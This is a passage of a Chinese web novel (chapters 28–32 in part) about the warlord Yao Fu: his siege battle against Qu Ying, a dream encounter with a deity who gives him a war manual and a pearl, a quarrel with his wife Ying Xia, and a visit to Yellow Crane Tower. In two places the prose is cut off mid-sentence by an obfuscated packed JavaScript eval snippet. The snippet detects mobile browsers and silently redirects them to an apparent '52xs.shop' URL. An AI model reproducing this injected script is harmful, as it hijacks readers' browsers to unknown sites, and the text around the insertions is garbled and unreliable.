“他来的倒是正好——”姚复咬牙切齿地说,“纵火烧城让我十万父老乡亲葬身火海的事,我可还没找他算账呢——” 彻骨的恨意总会让愤怒淹没理智。姚复一辈子都忘不掉屈郢所做之事—— 兄弟之仇,不与同域;父母之仇,不共戴天。 一听说屈郢又回了来,启封城内的壮年男子大多参了军,誓死也要报这仇恨。那十万人,又有谁的父母,谁的兄弟,谁的妻子,谁的儿女,谁日日思君不见君的心上人,他竟还敢回来。 这好比摔碎了别人的珍宝,还要捧着自己的珠玉回来炫耀。 过了约莫五日,屈郢的军队就浩浩荡荡到了启封城下——他显然并未把姚复放在眼里,城里守军三万,桥虹调来的援军五万,这还不到姚复在定州驻军的一半。可屈郢只带了五千精兵。 姚复拿着那把寒光凛冽的长剑,抬眼注视着远道而来的军队。 那个冲在阵首的应当就是屈郢——听说这人和姚复同岁,看着却是尽显沧桑,留了一圈短胡子,头上带着戴孝用的幡,脸色也很憔悴,活似刚死了老婆。倒是一双眼睛炯炯有神,明亮异常。 姚复颇不自在地默默自己的脸,他的皮肤变化很快,先前在军营晒黑了一些,这几个月没打仗便又白了回来,只是前几个月风吹日晒的,让皮肤有些干裂。 应该不至于像屈郢那么邋遢。头发也不梳,胡子也不剃。 说屈郢是个莽夫,他也是真莽,两军交战之前一般要擂鼓壮军威,这屈郢真是一点不顾,不管三七二十一就拿着手里的长矛往姚复面门上捅。 姚复注意到他的动作,身体先做出了反应,一手勒住马缰转身过去避开锋芒,一手执剑迎击。兵戈交击瞬间发出刺耳的鸣声,屈郢见他避开便又调转矛头,长剑硬生生承住了那股巨力,剑柄震得姚复虎口生疼。 于是他快速策马闪身入了阵内,一边避着屈郢的长矛一边奋力斩杀别的敌人。 这些人真是一个个有如豺狼猛虎,一人能同时擎住三个兵士,还能反杀两个。从清晨打到傍晚,屈郢的人不过折去五分之一,姚复的军队却是损失惨重。 羲和起驾,从天际的西侧离开,太行吞没了最后一丝余晖,天色终于陷入黑暗。 借着杳渺的星光,姚复勉强看清楚屈郢——他高高举着长矛,命令兵士们停战。姚复还没傻到趁着夜色反扑,然后再给对方送几千个人头,连忙命令剩下的士兵退回城中去。 城门合上之前,姚复听到屈郢说:“姚子季,三日之内,孤定要取你项上人头,为碧姬做祭品——” 大门砰然关闭,姚复放慢了马蹄,细细回想屈郢那句话。 启封城十万生魂姚复尚且没责问屈郢,对方却好意思说要取他项上人头了?! 何况他根本不认识什么碧姬! 29. 第29章 屈郢在城门外静静伫立了一会儿,随后转身进了兵士们临时搭建好的营帐。本来打算一击攻进启封城的,没想到姚复人数占优势,没能按着原定计划走。好在他屈郢棋高一着,提前让子弟们备好了营帐。 一个兵士抱着一个箱子走过来,屈郢轻轻抚了抚箱子的盖子,好像在轻抚爱人的脸颊。 他接过箱子,亲自抱着它进了营帐。屋里尚且没有布置好,他只好自己动手将祭祀的一应用品摆放整齐,才缓缓打开箱子的盖子。 箱子里放着一幅画像,一套红衣,一柄短剑。画像画的是一个红衣女子,画像大多重写意忘写形,这张画却叫人一看便知——笔者倾注情意描摹了画中人的面庞。能看出笔法并不熟练,有几处衣褶细节并不清晰。 画中女子红衣如火,一把短剑架在颈前,一双明目却含着笑意——她笑的明艳,却又好像能淬出毒来。这也许是某个人自刎前的最后一幕。 故世里再无故人的风姿,屈郢只好拼命学了画技,将她的脸永远镌刻进心田;托付了能工巧匠,将她红衣舞剑的身影摹写进骨肉。 他虔诚地将画像挂起来,并没有点燃香火,而是坐在她面前,随便拎了一壶酒,说道:“抱歉,碧姬,天黑了,我必须回来。今天算他姚子季命大!” 画中人但笑不语。屈郢得不到回答,只絮絮叨叨地自说自话:“你赔了命得来的机会,老子就是死也得拉着他垫背。” “他还不如我呢,我可干不出来鸟尽弓藏这种缺德事!” “他分明没什么才能,内政不如司空谷,胆识不如新涂,带兵不如解臻,谋略不如桥虹……”屈郢似乎有些醉了,掰着手指头对比姚复和他的属下,“老子怎么会输给这种人!这些人偏还死心塌地地跟着他!我不甘心!” 屈郢站起身子,感到一阵眩晕,他看了画像一眼,满带疼惜与柔情,终究是再度坐下来,说道:“碧姬,等我杀了姚子季,就给你塑身立像——让那些看不起你的人,通通跪在你脚下。” 说完这句话,他便依靠在桌上,阖上眸子,轻声说:“碧姬,我明天还要打仗,便先睡了。” 白天属于战场,黑夜独属故人。 只有在梦里,才能好好的见上鲜活的她。 这里只有一片纯白,四周天地辽阔无际,纯白的柔光无边无垠。 姚复有一瞬间似乎感觉自己已经死了,魂魄飘到了传说中的归墟——明明上一刻他还趴在桌子上痛定思痛,思考怎么对敌,愁的寝食不宁、头发都多掉了两根呢。 难道是屈郢的攻势太猛烈几乎无解把自己愁死了?这不能吧? 心里一边使劲犯着嘀咕,姚复一边试图在此处到处摸索。可触之所及均是虚无,所过之处尽是荒野,目之所至俱是纯白。 无边无际无垠。 姚复皱起眉头,心想若是应瑕在这里,定能想到办法脱身。 想是这么想的,可应瑕还是不在。姚复手指下意识按到腰间,却见那把长剑也跟着过来了。那只剑穗似乎有些异样,姚复连忙将它取下来仔细查看,生怕出哪怕一点差池。可就在剑穗脱离环扣的一瞬间,它忽然飘飘悠悠地浮了起来,上头繁复的花纹猛然爆发出金光。 姚复一把伸手抓住那小东西,上头的花纹却化作点点金光飘散在了空中。 这都什么跟什么! 应瑕送他的剑穗就这么坏了? 金光飘散,姚复面前五步左右的地方忽然出现了一个人。 只能说他是人,并不好看出来他是男是女,看着更像个生了女相的男人。此人长的雌雄莫辨,明明看着年轻至极,只有十六七的样子,却生了满头白发,着实奇怪。除了白头发,皮肤也好像一张苍白的纸,又穿了一身白衣服,仿佛下一秒就要融进这片虚无。 引人注目的是,他左手托着一颗人头大小的明珠,右手则拿着一本书。 “你是谁?”姚复右手下意识按在佩剑上,这个怪人好像没有恶意,却令人止不住产生一股敬畏来,姚复如今也算是身处高位,对这样一个人无端生出敬畏来实在叫人恼火。 他没有开口,半阖着眼眸,与人间许多庙宇中敬拜的神佛神情如出一辙,半带悲悯地垂眸往下看。他没有开口,姚复耳边却分明响起两道声音,左耳边传来如金石相击的男声,右耳边传来如管弦丝竹的女声,两道声音渐渐融合:“我是天君之子,奉命赐你兵书,助你取胜。” 天君? 姚复依稀记得姚老头好像提到过,天君在某个宗门口中是主宰世间万物的众神之神,他纵览古今未来,洞察世间所有事物——据说他有两个孩子,一个掌管人间诸事、众生纷杂,能一眼看透凡人命数;另一个执掌日月星辰、风云雨雪,给予下界关于未知的提示。 荒谬。 这是姚复唯一的想法。 他——祂松开手掌,两件东西都悬浮在空中。祂勾勾手指,姚复腰间的佩剑挣脱了束缚,也晃晃悠悠地浮了起来。 “你记起来了吗?”那奇怪又悦耳的声音再度响起,祂微微勾起唇角。 脑海中忽然有些人影画面吵吵闹闹地滑了过去,想抓又抓不住,想忽视又忘不掉。姚复感觉头痛欲裂,心中陷入迷茫,继而抱着头蹲了下来。 那些东西是什么呢? 姚复只能眼睁睁看着自己起高台宴宾客,楼没塌,但是画面断了——最后一幕是应瑕焦急的脸和越发模糊的呼喊。 也许只过了一息,也许过了十年。姚复终于消化完事实,站起身来,对祂说:“如果我没记错,你我不该在此时此地——” “——无所谓。”祂拉长了声音,“反正梦醒了就会忘掉。” 姚复蹙起眉头:“别再废话了。要给快给。” 祂挥挥手,空中浮现一面镜子,里面映不出人脸,反而照着夜空:“时间还没到呢。” 满月现在在西南边,要下山还有一段时间。 姚复有些不满,但没说话。 梦境的时间似乎比外界流逝更快,月亮很快就迫近地面了——祂终于动了,随意把兵书丢给了姚复,便抱着珠子打算凭空离开。姚复拿着那兵法,忽然叫住了神明:“那珠子你不打算给我?” 祂身形一僵,心中暗道晦气,面上却不显:“时间不到。” “你难道打算等我死了再给?”姚复不耐烦地掏掏耳朵,“你当心我回去推了你的庙——” 这珠子这么漂亮,不说以后,等会儿醒了记忆全无也能留着送给双福。 祂得体地微笑着:“你要是要这宝珠,剑可就拿走了。” 说罢还作势将珠子递了出去,长剑则飘飘忽忽往他手里去了。姚复眼疾手快,一手扭住剑柄,另一手不顾那股微弱的浮力,强行将珠子也抱进了怀里。 祂终于露出一点少年人的活泼气,一双眼不可思议地瞪大了,脸上卸下了那幅神明慈悲为怀的假笑,他有些气愤地指着姚复:“你、” 姚复退到了十步开外,笑着摆手,指向镜子:“走吧走吧,天要亮咯!” 祂慌张的看了一眼镜子,终于转身离开了。 姚复舒出一口气,看着这片虚空渐渐破碎。 天光已然大亮了,年轻的齐王撑着头从桌上爬起来揉揉眼睛,暗中感叹到底是压力太大,竟在桌子上睡着了,还做了一宿怪梦。 什么鬼神之说姚复根本不信,时隔多年想起来那个几乎跟女娲同岁的老传说也真是绝了。姚复伸了个懒腰,无意之下碰掉了桌上的一本书——封皮上的字完全看不清,但姚复无端升起一种不祥的预感。 这玩意不就是祂给的兵书吗! 姚复本先还有两分睡意,现下突然感觉脑中一片清明,也顾不得其他,兵书随意丢在桌上,急急去翻了被子——底下果然盖着一颗人头大小晶莹剔透的明珠。 “啊——”姚复有些绝望地大喊一声,真当是个梦呢,怎么还真有 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也许连绵不止的战争早就埋葬了他的初心。 最后一次战败,姚复看着满城尚未搭建好的断壁残垣,握紧了剑柄。 “最后一次了,这是最后一次。”姚复心里默念着,最后转身进了军营。 屈郢的兵力折了不少,现在应当也不怎么敢轻举妄动了。可斥候传来消息,说他有三万援军从齐州南下被卡在了黄河边上,不日就能到战场。 姚复理了理有些杂乱的长发,召集了全军将士:“从明天开始避战,开始守城,等着援军过来。” 将士们萎靡不振,显然对齐王不抱什么信心了,却也只能乖乖听令。 启封城重修时先修缮了城墙,姚复又让人在城门后浇了铁水焊死。屈郢的兵士只剩下一千多人,定然不会专门分出来百人去攻击别的城门,而北门在河北岸,屈郢也不至于傻到渡河。 这下启封城算是固若金汤了。 姚复派人从北门出去绕道给桥虹送了信,让他想办法。信送出去第二天从北门送进来一批粮草,但屈郢的援军后脚马上到了,这群人先去与屈郢会合了,又被打发北上从北门进,结果又被卡在了渡河的关口,来来回回耽误不少时间。 姚复每天做的也就只剩下观察屈郢的动向——实际上是两个人一上一下斗嘴,姚复的弓兵还在往下放箭。 又过了三天,屈郢的援军终于到了北门处,眼见着这群人就要进城,姚复的心都要提到嗓子眼儿,只好调来了所有兵力,安排在北门之后,做好破釜沉舟的准备。 敌军发起了猛烈的攻势,城门应声而破,城里的守军照着姚复所授意的策略与敌人死命拉扯起来。 屈郢在城楼下心有成竹地笑着,他不急着带兵打仗,似乎要以一个旁观者的身份目睹姚复跌下神坛。 姚复拄着剑,看向远处的地平线,军队浩浩荡荡扬起滔天的烟尘,马蹄声惊天震地,等到军队逼到一二里开外时,屈郢才注意到远方的军队,他脸上的表情从志得意满变成了惊慌失措—— 屈郢翻身上马,嘶吼着命令手下的将士对敌。一半人当机立断冲了上去,另一半则掩护着楚王拼命后撤, 姚复勾唇笑了笑,对身边的侍从说:“告诉北门的楚军,屈郢死了。” 侍从领了命,马不停蹄地往北门处跑去。 出乎意料的是,来援助的将领是解斛珠。她已经从那个骨瘦如柴的小姑娘长成了银鞍白马的女将军—— 令人惊讶。姚复挑起眉毛,余光忽然看见解斛珠带来的、现在停在某个不宜察觉的旮旯里的马车,心里咯噔一下,连忙从城楼上下了来。 北门的楚军很快乱了方寸。这消息有人相信,也有人不信,主帅半信半疑之间带兵退了出去——齐军倒是信了楚王已死的消息,竟爆发出了以一敌十的气概。 30. 第30章 姚复蹲在一个墙角下,烦闷的抓了一把头发,也不知道应瑕是怎么找过来的——难不成有人通风报信?可远在巴州的韩玉笙完全不知道此事,他也未曾告诉新涂,当时离开长沙时只对陈重熙说过北上有事,打定州的事被瞒的死死的—— 那是谁告诉她的?还能是自己猜出来的不成? 姚复又只好站起来焦急踱步,在墙根下转了两圈,终究是想不出什么理由能把这事圆过去——解斛珠带着军队就在外面呢。 “躲得了初一也躲不过十五。”姚复停下脚步,深呼吸两次,心中暗暗对自己道,又强撑着气势到城外去。应瑕已经下了车,与解斛珠站在一起,好整以暇地抱臂看着他。 姚复像往常一样笑起来,走上前去挽应瑕的胳膊,一边亲昵地问:“你怎么来啦?这一路山高水远的……” 应瑕拍开姚复的手,唇角勾起一抹冷笑:“我要不来,竟还不知道你被围在启封无法脱身呢——若是斛珠晚来一步,我怕是要成寡妇了。” 姚复有些尴尬地笑了起来。 “我可告诉你,不能在定州待下去了。咱们的兵力还不够,不能和屈郢、朝廷还有那个什么魏王燕王去争。”应瑕脸上的表情明显变的严肃,她站直了身子,直视着姚复。 事实证明应瑕的眼光还是很独到准确的,可定州自古是兵家必争之地——还是先听她的吧,还得看看桥虹他们怎么说。 姚复不能算刚愎自用,不过是在某些事情上格外倔强。要说刚愎自用,谁也比不上屈郢——他手下甚至没有一个谋士、一个大将军。 “好好好,那咱们先在启封待几天,再直接回长沙罢?”姚复小心翼翼地询问。说实话他挺想让应瑕在自己的家乡好好玩几天,尽管现在的启封仍然是一片废墟。 应瑕眼皮子跳了跳,最终转头看向解斛珠:“你想不想回阳城看看解夫人?” 解斛珠这三年个子拔高了不少,脸也张开了,只是性格还是沉默寡言。见应瑕问她,也只是捋了捋垂下来的马尾,有些遗憾地说:“不了吧,我怕一去看她,就不想再打仗了。” “你要是想她,我可以做主把她接到长沙去。”姚复抬眼看向解斛珠。 她摇摇头。没有地方比阳城更安全,何况树大招风,姚复势力越做越大又屡战屡胜,遭人惦记是难免的。 应瑕点点头,目如沉水,微微抬起眼睛,对姚复说:“直接回长沙。要是你继续待在启封,城里的年轻姑娘不得淹了你。” 从前在启封那花名就传的沸沸扬扬的,惹的一众财主都对姚复颇有微词不肯嫁女。可现在他衣锦还乡声名显赫,谁还顾及那些虚头巴脑的东西,都恨不得他与传言中一样才好,这样那些财主的女儿就能名正言顺地入府为妾,搞不好以后就是皇妃。 姚复似乎刚想到这一茬,不由打了个哆嗦,连忙转身朝着城里还未撤去的兵士喊:“马上叫人备马备车,我和夫人立刻就要回长沙!” 接着他又连忙回了自家府邸去拿兵书和珠子——原先姚家卖掉那座,新主一听齐王进了启封,半日就叫人收拾完了东西,连夜将房子空了出去。 那珠子真不是个事,漂亮是漂亮,也不知道安在哪才好。 姚复只好寻了个木匣子,抱去给了应瑕。应瑕掀开盒子微微愣了一下,随后轻轻抚摸了一下那珠子,喃喃道:“这么好的东西,说给就给,真是大方。” 她这是喜欢吧? 除了送胭脂那天应瑕露出了惬意舒适的微笑,她好像从未对任何东西展露过喜爱,她视人观物总是带着高傲的姿态,不是睥睨就是厌弃,只偶尔对着桥虹或陈重熙露出过一丝欣赏。 姚复忽然觉得她追求的是更高层次的东西,忽然伸出手指,指了指西边,又问道:“你喜欢长安吗?” 应瑕合上盒子,把珠子递给解斛珠,后者自然而然地把东西放上了马车。应瑕摇摇头,说:“我对长安没兴趣。长安走马与雾中观花也没什么区别。” 长安的花,她早就腻了。不论是花园中盛放的牡丹,还是路边的菜花;不论是街坊间盛开的雏菊,还是深宫中怒放的荼蘼,都太庸俗。只有那棵屹立的紫薇,才是人间最值得采撷的花。 可是,怎么会有人一心衣锦还乡或是偏安一隅,不会觊觎高位? “那就留在江南。”姚复笑着说,“汉昌和长沙都是极好的地方。” 应瑕忽然有些烦躁,摆摆手道:“那我现在喜欢长安了。” 说着她便往马车里去了。 姚复摇头叹息,喊来解斛珠:“你驻守启封,守两三个月,然后北上,找那个什么魏王结盟。” 解斛珠现在也只能带兵,她不会出计谋,体魄也不如男子,启封离雒邑近,真出了事解臻能立即过来支援。 长沙。 应瑕坐在车里,忽然感到路径似乎有些不对,便掀开车帘问道:“这不是回营的路吧?你要上哪去?” 姚复停下马,车夫见齐王停了马,便也停了马车。姚复回马与车厢并肩站着,微微弯下身子,回答道:“先去大王庙。” 应瑕点点头,放下帷幔,转而去了另一边,细细观察者街上的景色。 几个月过去,长沙已经是焕然一新了,街上的人间烟火透出繁华盛世的一角。人啊,就是这样,一片野火燎原过后便无影无踪,待春风拂面便又将深厚的根系扎向土壤,再次浮现繁华生机。人如野草,生生不息。 也许这才是真正的人间。应瑕觉得自己好像有些醉了。看来人间也并非处处荒芜啊。 司空谷当时待在长沙时制定了新的律法,又管了两个月内政,他调去巴州之后这些律法也都沿袭了下来,现下长沙倒成了这幅繁华模样。 大王庙也被重新修葺了一番,不复先前的破败,里面成群的乞丐也没了,只是来拜神的人仍然不多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376056|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现下里头只有一个老妪,正跪在一个蒲团上。 姚复走近了些,才见那不是个老妪,是个头发花白的女子,约有三十来岁。姚复微微愣怔,他听说过有人生下来就是须发皆白状若老者,一般这种孩子会被视为妖物丢掉,活下来的也不会长寿——这次是他头一次见这种人。 女子站起身来。看装扮像是个剑客,眉目间也满是英气,她看了姚复一眼,便转过身往门口走去。应瑕仍是没有拜神的样子,只是站在一边看着。姚复跪在蒲团上,这回没带银钱,最多也就是求个安慰。 心诚则灵。姚复闭上眼,心里默念求长沙王保佑战事顺利。他刚要叩首就被人不轻不重地拍了一下脑袋,这绝不是应瑕干的,她做不来这种幼稚事。姚复心里不禁有些窝火,但在庙里也不好发作,只好赶紧站起来,抬头怒视那白发女子。 女子仍举着手,半蹲在地上,似有若无地抬首朝他笑了一下,随后直接转身出去了。 “她什么人啊!”姚复出了庙门就忍不住抱怨。他方才不在庙里抱怨都是给长沙王面子,现在出了门真是什么也顾不得。 “三岁小孩还不让摸脑袋呢,她随随便便就拍我的头?!” 更何况他现在已经是齐王了! 姚复越想越委屈,止不住去看应瑕神色,似乎想求得一句安慰。 应瑕颇为无奈地叹气:“你就当是哪路神仙来下凡历练。仙人抚我顶,结发受长生。这样想好受点没?” “不——”这种敷衍的回答姚复当然无法接受,“哪有什么神仙——你怎么能拿我不信的东西来让我退步!!!” 应瑕眼见着周围人的目光奇怪起来,路人也有变多的趋势,连忙拉着姚复上了马车:“你别闹了,不信神还去拜庙作甚。” “神仙这东西当然是信则有不信则无。”姚复梗着脖子反驳。 “那你就当她是。不是信则有吗。”应瑕不耐烦地揉揉眉心。 姚复有些急了,抓着应瑕的胳膊,极其不满地说道:“重点是她拍我脑袋吗!是这个吗!” 摸脑袋也许一开始是个问题,但应瑕的态度已经让这个问题升级了一个层次。她居然处处偏袒一个来历不明的陌生奇怪女人,不仅一句安慰没有,甚至是还让姚复退而求其次!这是一个妻子该有的态度吗?! 应瑕回想了一下自己的言行,好像意识到了问题的所在,只好坐直身子,对姚复说:“哦,对不起。我刚刚说话太重了。” “……”应瑕都这么说了,他闹也闹不下去,只好负气下车上马离开了。 应瑕又躺回座位上,再度复盘方才的话,还是不理解哪里出了问题,只好往嘴里塞了颗葡萄,不再去想姚复的事。 在启封说了他两句,没长出来当皇帝的野心,倒长出来了莫名其妙的泼妇心肠来了。真是奇也怪哉,回头得好好问问张娘子桥虹是不是也这样。这还真是平生头一次呢。 31. 第31章 巴州前两个月终于被拿下了。此处地势险峻,北边全是绵延峻岭,朝廷派来的兵力根本到不了地方,至于中心的锦官城却是鱼米之乡,哪天兵败了躲在巴州再好不过。嗯,没兵败也想躲进去。 韩玉笙没老实撤兵回长沙,带着人又往滇州去了,司空谷也跟着去守城了,最终回来的只有新涂和陈重熙。 因为什么“仙人抚我顶”的事情,姚复气的三天吃不下饭,话也没和应瑕说一句,连新涂和陈重熙挥师回长沙都没去迎接。 应琼一拿到新涂要回城的消息,老早就站在营帐门口等着。 新涂一回来,见着应琼站在门口,当即也管不了那么多,立即下了马与应琼抱在一起互诉衷肠了,后面的兵士有一说一都要么垂下头要么别开眼神。陈重熙拉着韩玉筝从马车上下来,看见这两人也有些不自在,但也不好看着两人一直在门口堵着。 “怎么办啊。”陈重熙轻轻拉了拉韩玉筝的袖子,后者微微抬头看天,不做任何回答。 无奈之下陈重熙只好硬着头皮拉着妻子走到门口。门口拢共就那么大,新涂两人又站在正中间,他们不好从旁边硬挤,只好打断两人的相思话语。 “咳,大王怎么没来?”陈重熙一手握拳,放在唇边不轻不重地咳嗽一声,“他不是回长沙了?” 姚复对手下的谋臣武将都是很重视的,尤其是对新涂这个发小,每次回营都得亲自来接。 新涂似乎也意识到了不对,一双眼中果然浮现了浓重的疑惑,随后松开了应琼,自言自语道:“也是……” 旋即他招招手,叫来一个卫士,问道:“大王没回长沙?” 应琼忽然脸色一边,伸手挥走了那卫士,拉着新涂压低声音说:“将军别问。大王和姐姐吵架了,待在营帐里好几日不出门了,话也没说过一句。前两日有个不知好歹的进了营帐,大王当即摔了不少东西,叫人把他拖出去斩了……现下哪有人敢去触霉头。” 陈重熙和新涂对视一眼,随后追问道:“应姑娘不如仔细说说他们为何吵架?” 当初刚成婚没吵架,成婚一两年也没吵,姚复肆意行事没吵,花名乱飘也没吵架,如今倒莫名其妙吵起来了。 应琼脸颊上微微染上红晕,又略带歉意地垂下头盯着韩玉筝的鞋尖,才有些歉疚地说:“我不知道。我姐姐也未曾告诉我。” 新涂有些惊诧。看样子这回这两人闹的够大,不见外人也就算了,连亲妹妹也不肯倾诉。 “新将军,你还是趁早去劝慰大王——封坛拜将的事真不能再拖了。”陈重熙压低声音,“这几日是黄道吉日,趁早办完事情,好图个彩头。” 于情于理新涂实在是最合适的,他跟姚复感情深厚,只等应摇光和应瑜从东边过来,便又能添一层姻亲关系。陈重熙对这两人有点畏惧,自然不敢去打头阵接这个茬。虽然都说清官难断家务事,这玩意外人也不好插手,但封坛拜将真拖不得了。 如此新涂也不好说什么。这事还得交给兄弟。 姚复这几天看来确是发了很大火,营帐附近没什么卫士,方圆十几米也不见有人,路过的兵士都要可以绕个远路。 新涂只好捏着鼻子进去了。 好在姚复看着还是很正常,此时正拿着一卷不知道什么年代的哪家兵书在看,见有人进来便阴测测地抬了头瞪过去,看清楚是新涂之后又马上露出一个阴测测的笑,空洞洞地说:“你回来也不跟我说一声啊?” 其实老早就递了信件,姚复不见人,没收到罢了。 新涂大马金刀地坐到他对面,下意识用手扇了扇笔尖萦绕着的一点若有若无的湿气,说道:“兄弟,你说说嫂子干什么了,能把你气成这样?” “呵呵呵……”姚复又阴测测笑起来,随后猛然收起脸上的笑容,狠狠丢了兵书,使劲一拍桌子:“她根本不在乎我!” “……”新涂下意识后仰,深深吸了一口气,说道:“嫂子那能不在乎你吗。你们好歹也成婚三年了,养个畜牲都该有感情了,何况是人呢。” 姚复又砰一声拍了一下桌子,又把新涂吓了一跳。新涂闭了闭眼,姚复果然绷不住地喊道:“她在外人面前都不维护我!” “你、你说说到底是个什么事……”新涂不动声色地又往后坐了一点。 想必不是什么大事。 姚复冷哼一声,将那天的事添油加醋给说了一遍。 果然不是什么大事。 “姚兄,你一个大男人,不要跟女人一般见识。”新涂撑着额头,勉强憋出一句。 也不知道这种小事怎么看出来应瑕不在乎他的。要是真不在乎他还至于舍了命拉十几个人以身入局去救姚复的命吗。 “这是男人女人的问题吗!你不要拿那套男男女女的理论往我俩身上套!珠英是一般女子吗!”姚复再次一拍桌子。 话题也不知怎么跑偏的,新涂忽然有些绝望——陈重熙好像说过他今天与人有口舌之争。 新涂拿起桌上的一只杯子,在手心攥了又攥,姚复瞪着眼睛看着他,好像在逼着他给个回复。过了好一会儿,新涂才默然开口:“嫂子当然不是一般人,但到底是你妻子。日子该过还得过,你要不——” “和离!我要和离!”姚复一拍桌子站起来,打断了新涂的话。 新涂只得把嘴里那句“服个软”咽回去了,也连忙起身去劝:“不至于不至于……” 姚复一边作势挣扎一边继续闹,忽然营帐门被人呼啦一下掀开了,应瑕略带愠怒的声音传进来:“你想干什么?” 应瑕显然刚和应琼沟通完,终于发现了问题所在,急匆匆就跑过来,没成想还没进门就听见丈夫在那闹腾。饶是他再好脾气,就算是观音下凡也起了怒火。 屋里的两人都愣住了,姚复急忙甩开新涂,说道:“当然是想劝新涂和咱妹和离啊。还能怎么着,你看看新涂天天出来打仗的,跟赤玉十天半个月见不了一次——” 应瑕微微笑了一下,眼见着新涂要发作,姚复赶忙躲在应瑕身后,朝着新涂比了个口型:“谢了兄弟。” “好了,等父亲回来你们再说成婚的事。父母之命媒妁之言——”应瑕刚撩起的怒火被姚复浇灭了大半,微微抬起头对新涂说。 陈重熙见问题解决地差不多了,探头进去,问道:“大王,封坛拜将的事考虑的如何?” 姚复闻言转过头去:“韩玉笙回来没?回来了明天就宰猪杀牛犒赏三军封坛拜将。” “他跑滇州去了,还说从滇州回来就打秦州。”陈重熙眯着眼睛,笑着拱火。 “疯了是么。”姚复暗骂一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14385381|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,“那等他回巴州,截了他的路,把他给我绑回来。等他回来再说拜将的事。” 韩玉笙是真自信过头了。姚复不是不信他打不下秦州来,只是真拿下长安灭了大梁屈郢更是放不过他——从启封回来后屈郢北上又拿了四个州郡,现下招到一个什么将军,带着人在赣州附近不住发兵骚扰。 “对了,您最近运交华盖,最好别做什么重大决定。夫妻宫也有异变,尽量不要吵架。”陈重熙说完之后又放下帘子出了去。 姚复叹了口气。原本还想接着打定州呢,这下可好。 “既然如此,这几个月也好休养一下。你陪我出去玩玩好了。”应瑕看着姚复有些惆怅的神情,斟酌着开口,随后又补了一句:“我没想到……罢了,我真不是不在乎你。你也别介怀。” “怎么会呢。”姚复笑起来,“你想去哪玩,屈子祠、岳阳楼、或是滕王阁?巴州的武侯祠也不错……” 应瑕揉揉眉心:“我无所谓,你随便。” 姚复的脸有些尴尬地怔了一下,随后笑着说:“那我们到黄鹤楼去吧,不是说什么天下第一楼?如果有机会,以后我们去金陵凤凰台……” 应瑕扫了新涂一眼,他正巧也听不下去,连忙出去了。 运交华盖是真的一点没错,陈重熙或许真能从天象变化中看出人间祸福。 姚复刚进了汉昌城,方走到街上就一脚踩上了水坑滑了一跤,若不是应瑕眼疾手快拉了他一把,身上这件新裁的袍子就得沾上泥水—— “你走路看着点。”应瑕小心的绕过地上的水坑,蹙眉说道。 姚复站定身子,冷哼一声作为回应。 两人先在街上晃了两圈,姚复对那些小摊贩倒是比应瑕更有兴趣,一路上买了不少什么胭脂香粉香囊珠簪。 小贩们都当是哪个俊俏公子给自己的妻子买东西,都热络的推荐自家产品,每次都会被以不适合拒绝。 卖胭脂的是一对母女,那老板娘被拒绝了也不恼,倒是小姑娘说了一句:“这桃花红岂有不搭的道理,明艳鲜活,谁家姑娘都喜欢呢。” 姚复在胭脂铺上挑了好几种颜色,总是挑不到满意的,一听小姑娘的话,忽然想到了主意——何不叫老板替应瑕搭配胭脂? 于是他放下了手里的盒子,强行把一边兵器铺的应瑕拉了过来,后者满脸不情愿,勉强从袖子里掏出一块银子来丢到铺子上。 “两位娘子,我夫人带来了,你们看看她适合什么样的胭脂?”姚复搭着应瑕的肩膀,笑着问。 那对母女看着应瑕的神情吓了一跳——她手里甚至还提着一把刀子。随后老板娘在铺子上选出来一盒艳红的,拉过闺女的手臂,在她雪白的手背上抹了一点,那胭脂当真和鲜血一样,倒是配应瑕的紧。 “夫人有巾帼英雄的风范,配这红色的真正好……”老板娘勉强笑着回答。 应瑕也拿手指挖了一点胭脂,蹙眉看了看,又在鼻尖嗅了嗅,最终还是老实抹上了嘴唇。好在她出门从来不爱上妆,这一点东西也不好浪费。 “你不是要去黄鹤楼,快走吧。”应瑕皱着眉从方才拿的刀上看自己的倒影,说道。 还是不太习惯上妆。 姚复也深深叹口气,说道:“你果然还是更适合用血色上妆。走吧。” 32. 第32章 黄鹤楼其实也没诗词中描绘的那么动人,到了地方景致远远不如所料,有时给期待留些白才能让诗意长留心中。 “也就一般般啊。”姚复有些失望的看着远去的江水。壁上的木料已经将要腐朽风化了,只是残留的墨汁仍然入木三分,字迹清晰可辨,透出诗人的风骨来。想来是崔颢的真迹。 有人千里迢迢赶到黄鹤楼,也许并不是为了登临赏景,寻取与当年的诗人一样的心境,不过是为了看一眼崔颢的真迹,回头好与他人炫耀罢了。可这景色也实在一般。百年光阴,竟然物不是人也非了。 应瑕把趴在栏杆上的姚复拉回来,防止他太过倒霉跌了下去(黄鹤楼建在山上,跌下去几乎就是必死无疑),又翻了个白眼,说道:“你懂什么。此诗是吊古怀乡的佳作,你连而立之年都不到,哪里能理解乡愁。” 姚复撇撇嘴。年轻人太过气盛,总归是不懂那些惆怅的诗词的,什么时候真要经历过才能彻底领悟。 “昔人已乘黄鹤去,此地空余黄鹤楼。”应瑕清清嗓子,望着远处芳草芬菲的鹦鹉洲,说道,“你从这里能看到诗的影子就够了。只看到景色又有什么价值,终归是过眼烟云。” 应瑕再度伸手把往栏杆前面凑的姚复拉回来:“你别往栏杆那边凑了!” 